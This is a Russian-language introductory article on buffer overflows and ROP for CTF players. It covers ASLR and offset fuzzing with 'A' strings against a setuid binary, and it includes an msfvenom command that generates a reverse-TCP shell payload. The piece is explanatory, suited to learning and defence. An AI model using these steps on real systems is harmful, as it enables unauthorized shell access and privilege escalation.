Чтобы понять, что такое переполнение буфера на самом деле, необходимо знать некоторые предварительные условия, но давайте вкратце расскажем об этом.
Когда нет ограничений
Чаще всего уязвимости переполнения буфера возникают из-за ошибок кодирования. Приложение может неправильно распределять буферы. Например, многие системы не ограничивают объем данных, которые могут считывать функции.
Буферы можно описать как определенные участки в памяти, которые временно хранят данные. Если объем данных превышает размер буфера (~ емкость памяти), а приложение не отбрасывает такое переполнение, то ситуацией можно воспользоваться.
Смежные области памяти повреждаются (это должно куда-то деваться ^^), что позволяет злоумышленнику перезаписать данные, чтобы вывести систему из строя и даже выполнить произвольный код.
Эти атаки могут быть направлены на определенные участки памяти (например, куча, стек).
Исчезли ли атаки переполнения стека?
В реальном мире существует несколько эффективных средств защиты от атак переполнения стека. Например, ASLR (Address Space Layout Randomization) значительно усложняет задачу злоумышленника, поскольку рандомизирует память, затрудняя предсказание того, где будет находиться целевой уязвимый код.
Стратегия «проб и ошибок» больше не подходит, поскольку адреса памяти постоянно меняются. Однако это не окончательная защита, поскольку и для этого существуют обходные пути, а некоторые команды даже предпочитают отказаться от этой защиты, чтобы исправить постоянные ошибки.
Старая новая проблема
Уязвимость переполнения буфера — это старая проблема. В отличие от языка C, современные языки программирования имеют встроенные функции для решения этой проблемы и проверки границ, но это только смягчение.
Переполнение буфера все еще может произойти. Вот почему в некоторых CTF этот прием особо подчеркивается. Нередко на целевую машину помещается какой-либо двоичный файл, чтобы сделать атаку возможной.
Буферы в CTFs
Определить, уязвима ли система к неприятным переполнениям, можно с помощью таких входных данных:
./mybinary AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
N.B.: mybinary
, скорее всего, будет setuid, исполняемый файл, имеющий права доступа к файловой системе целевого пользователя (это может быть root).
Если существует определенное число «A», которое приводит к переполнению буфера (оно же смещение), то это победа. Многие инструменты могут автоматизировать такие тесты (например, Metasploit), но вы также можете использовать Python для быстрой генерации своих строк:
python3 -c 'print("A"*69)' | ./mybinary
Затем можно написать сценарий на Python, который использует уязвимость, и передать вывод в двоичный файл;
python3 exploit.py | ./mybinary
Существует множество возможностей, но я рекомендую использовать пакет pwn в Python для облегчения работы.
В Google можно найти подробные примеры для вдохновения.
Что такое ROP?
ROP (Return-Oriented Programming) заключается в использовании определенных последовательностей инструкций в программах для вызова критических функций (например, system
или exec
в C), которые могут быть использованы для получения несанкционированного доступа.
Это часто сочетается с атаками переполнения буфера для передачи вредоносной полезной нагрузки и злоупотребления памятью.
В Интернете можно найти множество скриптов, но, как правило, если вы не знаете, что они делают, не используйте их.
Чтобы помочь вам найти надежные ресурсы, легитимные скрипты, скорее всего, дадут инструкции по генерации полезной нагрузки с помощью msf-venom
и включению результата в код перед выполнением атаки:
msfvenom -p linux/x64/shell_reverse_tcp LHOST={LHOST} LPORT={LPORT} -f py
Он также может включать строки для поиска так называемых «гаджетов ROP» и библиотек, таких как gdb
, для определения смещения для переполнения буфера.
Подведение итогов
Переполнение буфера все еще возможно, несмотря на встроенные средства защиты в современных архитектурах и языках программирования.
Однако эксплуатация переполнения буфера не является тривиальной, и CTF обычно значительно упрощают процесс, предоставляя вам различные подсказки и двоичный файл для атаки.